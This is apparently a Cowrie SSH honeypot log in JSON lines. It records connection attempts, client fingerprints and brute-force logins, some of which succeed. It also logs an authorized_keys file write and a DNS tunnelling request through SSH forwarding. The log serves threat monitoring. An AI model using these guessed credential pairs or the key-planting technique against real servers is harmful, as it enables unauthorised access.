{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.450889Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.455262Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":58054,"dst_ip":"159.203.135.109","dst_port":22,"session":"568f98525e3d","protocol":"ssh","message":"New connection: 2.203.183.35:58054 (159.203.135.109:22) [session: 568f98525e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.565635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.570553Z","src_ip":"2.203.183.35","session":"568f98525e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.674989Z","src_ip":"2.203.183.35","session":"568f98525e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:25.132383Z","src_ip":"2.203.183.35","session":"568f98525e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:26.244694Z","src_ip":"2.203.183.35","session":"568f98525e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":58634,"dst_ip":"159.203.135.109","dst_port":22,"session":"afd6e7aa0765","protocol":"ssh","message":"New connection: 2.203.183.35:58634 (159.203.135.109:22) [session: afd6e7aa0765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:26.350180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:26.355056Z","src_ip":"2.203.183.35","session":"afd6e7aa0765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:26.487597Z","src_ip":"2.203.183.35","session":"afd6e7aa0765","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:26.948739Z","src_ip":"2.203.183.35","session":"afd6e7aa0765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:27.059159Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:27.062758Z","src_ip":"2.203.183.35","session":"afd6e7aa0765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":36552,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7b321f8aee","protocol":"ssh","message":"New connection: 148.216.28.11:36552 (159.203.135.109:22) [session: 5d7b321f8aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:28.210429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:28.215210Z","src_ip":"148.216.28.11","session":"5d7b321f8aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:28.284252Z","src_ip":"148.216.28.11","session":"5d7b321f8aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2022","message":"login attempt [ubuntu/ubuntu@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:28.586870Z","src_ip":"148.216.28.11","session":"5d7b321f8aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:29.657899Z","src_ip":"148.216.28.11","session":"5d7b321f8aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:34.134058Z","src_ip":"122.168.114.167","session":"2359cb15715b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.6","message":"Connection lost after 34.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:40.461045Z","src_ip":"122.168.114.167","session":"2359cb15715b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44772,"dst_ip":"159.203.135.109","dst_port":22,"session":"587c4bc902b7","protocol":"ssh","message":"New connection: 122.168.114.167:44772 (159.203.135.109:22) [session: 587c4bc902b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:43.594237Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":51476,"dst_ip":"159.203.135.109","dst_port":22,"session":"876cab533c47","protocol":"ssh","message":"New connection: 69.6.221.248:51476 (159.203.135.109:22) [session: 876cab533c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:44.974222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:44.978951Z","src_ip":"69.6.221.248","session":"876cab533c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:45.092765Z","src_ip":"69.6.221.248","session":"876cab533c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server_2008","message":"login attempt [root/server_2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:45.582090Z","src_ip":"69.6.221.248","session":"876cab533c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21170,"dst_ip":"10.17.0.5","dst_port":22,"session":"6610ed27dcdb","protocol":"ssh","message":"New connection: 87.251.64.176:21170 (10.17.0.5:22) [session: 6610ed27dcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:45.951773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.078188Z","src_ip":"87.251.64.176","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.174502Z","src_ip":"87.251.64.176","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.462653Z","src_ip":"87.251.64.176","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.562915Z","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.660981Z","src_ip":"87.251.64.176","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.698827Z","src_ip":"69.6.221.248","session":"876cab533c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:46.759755Z","src_ip":"87.251.64.176","session":"6610ed27dcdb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:49.542064Z","src_ip":"122.168.114.167","session":"587c4bc902b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:49.547082Z","src_ip":"122.168.114.167","session":"587c4bc902b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39716,"dst_ip":"159.203.135.109","dst_port":22,"session":"a39f3143ae25","protocol":"ssh","message":"New connection: 159.203.92.129:39716 (159.203.135.109:22) [session: a39f3143ae25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:55.622687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:55.627644Z","src_ip":"159.203.92.129","session":"a39f3143ae25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:55.632431Z","src_ip":"159.203.92.129","session":"a39f3143ae25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1","message":"login attempt [app/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:55.644290Z","src_ip":"159.203.92.129","session":"a39f3143ae25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:56.651763Z","src_ip":"159.203.92.129","session":"a39f3143ae25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd3eb81d5be","protocol":"ssh","message":"New connection: 2.57.122.238:37966 (10.17.0.5:22) [session: 5fd3eb81d5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:56.901536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:56.906190Z","src_ip":"2.57.122.238","session":"5fd3eb81d5be","protocol":"ssh"}
